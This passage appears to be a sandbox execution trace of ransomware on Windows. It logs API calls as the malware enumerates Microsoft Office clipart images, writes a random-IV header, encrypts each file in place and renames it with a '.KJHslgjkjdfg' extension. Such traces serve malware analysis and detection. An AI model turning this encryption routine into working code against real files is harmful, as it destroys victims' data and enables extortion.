office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.kjhslgjkjdfg")) returned 1 [0230.031] CloseHandle (hObject=0x130) returned 1 [0230.031] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0230.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.033] GetProcessHeap () returned 0x2ef0000 [0230.033] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.033] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.033] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0230.063] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.063] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.063] GetProcessHeap () returned 0x2ef0000 [0230.063] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.063] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.063] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.063] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.063] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.063] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.063] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.063] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.063] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.063] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.064] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c94, lpOverlapped=0x0) returned 1 [0230.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ca0) returned 1 [0230.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.201] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ca0, lpOverlapped=0x0) returned 1 [0230.201] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.201] SetEndOfFile (hFile=0x130) returned 1 [0230.204] GetProcessHeap () returned 0x2ef0000 [0230.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.204] GetProcessHeap () returned 0x2ef0000 [0230.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01221K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01221k.jpg.kjhslgjkjdfg")) returned 1 [0230.206] CloseHandle (hObject=0x130) returned 1 [0230.206] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37b36e00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37b36e00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0230.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.207] GetProcessHeap () returned 0x2ef0000 [0230.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.207] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.207] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.472] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.472] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.472] GetProcessHeap () returned 0x2ef0000 [0230.472] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.472] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.472] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.472] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.473] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.473] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.473] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.473] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.473] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.473] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.473] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7db8, lpOverlapped=0x0) returned 1 [0230.511] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7dc0) returned 1 [0230.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.511] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7dc0, lpOverlapped=0x0) returned 1 [0230.511] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.511] SetEndOfFile (hFile=0x130) returned 1 [0230.515] GetProcessHeap () returned 0x2ef0000 [0230.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.515] GetProcessHeap () returned 0x2ef0000 [0230.515] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.515] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.kjhslgjkjdfg")) returned 1 [0230.517] CloseHandle (hObject=0x130) returned 1 [0230.517] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0230.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.518] GetProcessHeap () returned 0x2ef0000 [0230.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.518] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.518] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.518] GetProcessHeap () returned 0x2ef0000 [0230.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.518] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.519] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.521] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.521] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.521] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.521] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.522] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7ce0) returned 1 [0230.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.523] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7ce0, lpOverlapped=0x0) returned 1 [0230.523] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.523] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.523] SetEndOfFile (hFile=0x130) returned 1 [0230.525] GetProcessHeap () returned 0x2ef0000 [0230.525] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.525] GetProcessHeap () returned 0x2ef0000 [0230.525] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.kjhslgjkjdfg")) returned 1 [0230.527] CloseHandle (hObject=0x130) returned 1 [0230.527] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0230.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0230.529] GetProcessHeap () returned 0x2ef0000 [0230.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0230.529] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0230.529] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0230.529] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0230.567] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.567] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.567] GetProcessHeap () returned 0x2ef0000 [0230.567] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0230.567] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0230.567] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.567] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0230.567] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0230.567] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0230.568] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0230.569] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0230.569] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0230.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0230.569] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0230.569] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.569] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1764, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1764, lpOverlapped=0x0) returned 1 [0230.765] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1770, dwBufLen=0x1770 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1770) returned 1 [0230.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.766] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1770, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1770, lpOverlapped=0x0) returned 1 [0230.766] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0230.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.766] SetEndOfFile (hFile=0x130) returned 1 [0230.767] GetProcessHeap () returned 0x2ef0000 [0230.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0230.767] GetProcessHeap () returned 0x2ef0000 [0230.768] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0230.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.kjhslgjkjdfg")) returned 1 [0230.769] CloseHandle (hObject=0x130) returned 1 [0230.769] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0230.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 